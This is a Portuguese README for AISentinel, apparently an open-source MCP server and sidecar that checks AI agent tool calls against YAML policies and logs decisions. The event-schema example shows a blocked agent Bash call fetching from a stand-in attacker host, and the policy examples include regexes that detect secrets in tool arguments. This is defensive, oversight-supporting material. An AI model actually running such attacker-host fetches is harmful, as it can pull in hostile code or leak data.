AISentinel

Camada de segurança, controle e observabilidade para agentes de IA: aplicação de políticas pré-ferramenta (permitir/bloquear/requerer_aprovação_humana) + logs de auditoria JSONL somente anexação. Envolve qualquer servidor MCP stdio via sidecar de substituição. Apache-2.0. Por BizDNAi.

Documentação

AISentinel

MCP Server GitHub release Apache 2.0 Built by BizDNAi Go 1.22+ AI Trust Index

A camada de segurança, controle e observabilidade que faltava para a era dos agentes.

Ferramentas de segurança tradicionais foram criadas para malware. Agentes de IA receberam poder legítimo por meio de ferramentas e APIs. AISentinel fornece a camada de segurança, controle e observabilidade que faltava.

AISentinel evaluating agent tool calls against the default policy — allow / block / require human approval


1. Título do Projeto + Slogan

AISentinel — um servidor MCP de código aberto que protege agentes de IA em tempo de execução. Criado por Kabzhanov / BizDNAi, a equipe por trás do AI Trust Index.


2. Por que o AISentinel Existe

Agentes de IA agora têm shell, navegadores, sistemas de arquivos e chaves de API. Eles são processos legítimos — antivírus não consegue vê-los. Uma única injeção indireta de prompt em um PDF ou e-mail pode se transformar em exfiltração massiva de dados por meio de ferramentas comuns como Bash e Email_send.

O AISentinel fecha essa lacuna: ele roda como um servidor MCP na frente de cada chamada de ferramenta, avalia políticas YAML, registra cada decisão e gera um trilha de auditoria compatível com o AI Trust Index.

Consulte docs/SECURITY_AUDIT.md para o modelo de ameaças completo.


3. Início Rápido (3 minutos)

Opção A: instale o binário

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve

go install fornece um binário autônomo — você não precisa clonar este repositório nem passar --policy para começar. aisentinel serve sem flags carrega uma política padrão embutida (incorporada no binário no momento da compilação), equilibrada para uso geral: bloqueia segredos óbvios em argumentos e comandos destrutivos, exige aprovação para chamadas de rede e leituras em massa. Para usar sua própria política, passe --policy /path/to/your.yaml ou defina $AISENTINEL_POLICY (consulte Resolução de política abaixo).

Opção B: instale o sidecar (proxy de política plug-and-play para qualquer servidor MCP)

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest

# Wrap any stdio MCP server with one command — no --policy required:
aisentinel-sidecar ./your-mcp-server [args...]

Opção C: clone e compile

git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar
./bin/aisentinel serve --policy policies/default.yaml

(--policy policies/default.yaml aqui é explícito e opcional — omiti-lo também funciona e recorre ao mesmo padrão embutido descrito acima.)

Opção D: binários pré-compilados do GitHub Releases

Baixe de https://github.com/Kabzhanov/AISentinel/releases/latest. Disponível para linux/amd64, linux/arm64, darwin/amd64, darwin/arm64, windows/amd64.

Opção E: adicione ao Claude Code / Cursor / Cline

{
  "mcpServers": {
    "aisentinel": {
      "command": "aisentinel",
      "args": ["serve"]
    },
    "aisentinel-sidecar": {
      "command": "aisentinel-sidecar",
      "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]
    }
  }
}

Em seguida, reinicie seu cliente MCP e peça ao seu agente para chamar qualquer ferramenta — o AISentinel bloqueará cada chamada e gravará um trilha de auditoria JSONL em ~/.aisentinel/events-YYYY-MM-DD.jsonl.

Resolução de política

Tanto aisentinel serve quanto aisentinel-sidecar resolvem qual política carregar nesta ordem, parando na primeira que se aplicar:

  1. --policy /path/to/file.yaml — se fornecido, deve carregar; um arquivo ausente ou inválido é um erro grave.
  2. $AISENTINEL_POLICY — mesmo contrato que --policy se definido.
  3. ./policies/default.yaml relativo ao diretório atual, se esse arquivo existir (é o que você obtém dentro de um clone deste repositório).
  4. A política padrão embutida, incorporada no binário no momento da compilação. É isso que faz go install ... && aisentinel serve funcionar de qualquer diretório, sem checkout do repositório e sem flags. Quando esse caminho é usado, o binário imprime using built-in default policy em stderr para que nunca seja uma surpresa silenciosa.

4. Principais Recursos

  • Portão pré-ferramenta — avalia cada chamada de ferramenta contra uma política YAML (permitir / bloquear / exigir_aprovação_humana / somente_registro).
  • Log de auditoria — JSONL somente anexação com um esquema de eventos padronizado.
  • Validar-política — verifica uma política YAML sem carregá-la.
  • Políticas embutidasdefault, strict, audit-only (consulte policies/).
  • Nativo MCP — funciona em Claude Code, Claude Desktop, Cursor, Cline, Continue.
  • Zero telemetria — roda localmente; sem envio de dados.
  • Apache 2.0 — código aberto permissivo com concessão de patentes.

5. Conectores

  • MCP stdioaisentinel serve (Claude Code, Claude Desktop, Cursor, Cline, Continue).
  • Streamable-HTTPhttps://mcp.aisentinel.bizdnai.com/mcp (SaaS, OAuth via BizDNAi).
  • CLIaisentinel subcomandos (serve, validate-policy, policies, events, version).
  • Biblioteca — pacote Go github.com/Kabzhanov/AISentinel/internal/policy para incorporação.

6. Exemplos de Política

Consulte policies/default.yaml para a política padrão completa.

version: 1
name: default
rules:
  - id: secret-in-args
    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
    decision: block
    reason: "Possible secret in arguments"
  - id: lan-deny
    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
    decision: block
    reason: "LAN access blocked by default"

Modos de correspondência: tool_name, tool_name_regex, tool_args_regex, tool_args_contains. Vários correspondentes combinam com AND.


7. Como Melhora a Pontuação do AI Trust Index

O AISentinel gera os dados de observabilidade necessários para avaliações do AI Trust Index:

  • Cada chamada de ferramenta → evento auditável com agent_id, session_id, decisão, sinais.
  • Cada decisão de política → versionada, com impressão digital (campo policy_signature).
  • Cada bloqueio → motivo, risk_signals, pronto para uma submissão ATI.

Execute aisentinel_get_ati_snapshot para obter um blob JSON pronto para colar no AI Trust Index cabinet.


8. Licenciamento

O AISentinel está disponível sob duas opções de licença:

  1. Apache License 2.0 (Código Aberto)

    • Gratuito para usar, modificar e distribuir sob os termos da licença Apache 2.0.
    • Inclui concessão explícita de patentes dos contribuidores.
  2. Licença Comercial

    • Para empresas que desejam incorporar o AISentinel em produtos de código fechado sem requisitos de conformidade com código aberto.
    • Contato: kabzhanov@gmail.com

Ao contribuir para este repositório, você concorda em licenciar suas contribuições sob Apache 2.0.

Consulte LICENSE e COMMERCIAL_LICENSE.md.


9. Instalação

Requisitos: Go 1.22+

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

Verifique:

aisentinel version
# AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index
#
# `go install ...@latest` builds from a tagged release and embeds that
# tag's version via -ldflags. A plain local `go build` (no -ldflags) prints
# "vdev" instead — that's expected, not a bug.

10. Exemplos de Uso

Execute o servidor MCP

# Uses the built-in default policy — no --policy needed:
aisentinel serve

# Or point at your own policy:
aisentinel serve --policy policies/strict.yaml

Valide uma política personalizada

aisentinel validate-policy my-policy.yaml

Veja os eventos de auditoria recentes

aisentinel events --last 20

Liste as políticas embutidas

aisentinel policies

Teste uma política sem bloquear (modo sombra)

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

11. Esquema de Eventos

Consulte docs/event-schema.md. Um objeto JSON por linha no log JSONL:

{
  "event_id": "20260707T221500.000000001-1",
  "timestamp": "2026-07-07T22:15:00Z",
  "event_type": "pre_tool",
  "agent_id": "agent-42",
  "session_id": "sess-abc",
  "tool_name": "Bash",
  "tool_args": { "command": "curl http://attacker.com/x" },
  "decision": "block",
  "policy_matched": ["bash-network"],
  "risk_signals": ["rule_matched:bash-network"]
}

12. Contribuindo

Consulte CONTRIBUTING.md. Ao contribuir, você concorda em licenciar sua contribuição sob Apache 2.0.


13. Roadmap

  • v1.0 (esta versão) — MCP stdio, 4 ferramentas, 3 políticas embutidas, log de auditoria JSONL.
  • v1.1aisentinel scan (auditor de configuração MCP), conectores móveis.
  • v1.2 — transporte streamable-HTTP (modo SaaS), OAuth via BizDNAi.
  • v2.0 — integração com feed ATI, plugins de IDE (VSCode MCP Inspector).

14. Licença

Apache License 2.0. Consulte LICENSE.

O AISentinel é duplamente licenciado sob Apache 2.0 e uma licença comercial. Para termos comerciais, entre em contato: kabzhanov@gmail.com.


Por Kabzhanov / BizDNAi — criadores do AI Trust Index.